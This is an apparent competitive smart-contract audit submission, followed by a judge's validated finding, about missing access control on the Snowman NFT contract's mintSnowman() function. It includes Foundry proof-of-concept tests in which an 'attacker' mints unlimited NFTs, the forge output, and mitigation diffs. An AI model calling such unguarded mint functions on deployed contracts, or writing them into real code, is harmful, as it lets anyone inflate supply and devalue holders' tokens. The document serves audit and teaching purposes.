Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Unrestricted NFT Minting via Missing Access Control in Snowman Contract

Description

Normal Behavior

The Snowman contract should only allow the authorized SnowmanAirdrop contract to mint NFTs after users complete proper verification, Merkle proof validation, and Snow token staking.

Issue Description

The mintSnowman() function lacks any access control restrictions, allowing anyone to mint unlimited Snowman NFTs to any address without any verification or token requirements.

Root + Impact

Description

The contract implements a public minting function without access controls, completely bypassing the intended airdrop mechanism and allowing unlimited NFT creation.

Root Cause

// @> Critical: No access control on minting function
function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter); // @> Anyone can call _safeMint
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

The function is marked as external with no onlyOwner or custom modifier to restrict access.

Risk

Likelihood:

  • Reason 1: The function is publicly accessible as external with no restrictions

  • Reason 2: No authentication or authorization checks are performed before minting

Impact:

  • Impact 1: Complete economic breakdown - malicious actors can mint unlimited NFTs without staking Snow tokens

  • Impact 2: Total bypass of Merkle proof verification system, rendering the entire airdrop mechanism useless

  • Impact 3: NFT supply can be inflated arbitrarily, devaluing legitimate NFTs

Proof of Concept

function testUnrestrictedMinting() public {
// Attacker mints 1000 NFTs to themselves without any verification
vm.prank(attacker);
snowman.mintSnowman(attacker, 1000);
// Attacker mints 500 NFTs to any other address
vm.prank(attacker);
snowman.mintSnowman(victim, 500);
// Verify unlimited minting succeeded
assert(snowman.balanceOf(attacker) == 1000);
assert(snowman.balanceOf(victim) == 500);
assert(snowman.getTokenCounter() == 1500);
// Compare with legitimate airdrop process (which requires staking)
// This completely bypasses: Merkle proof, signature verification, token staking
}

The current tests demonstrate this vulnerability - they show direct calls to mintSnowman() succeeding without any authorization

Recommended Mitigation

contract Snowman is ERC721, Ownable {
+ ISnowmanAirdrop private immutable i_airdropContract;
+ modifier onlyAirdrop() {
+ require(msg.sender == address(i_airdropContract), "Unauthorized: Only airdrop contract can mint");
+ _;
+ }
- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyAirdrop {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
}

Alternatively, implement onlyOwner if only the contract owner should have minting privileges:

+function mintSnowman(address receiver, uint256 amount) external onlyOwner {
// ... existing logic
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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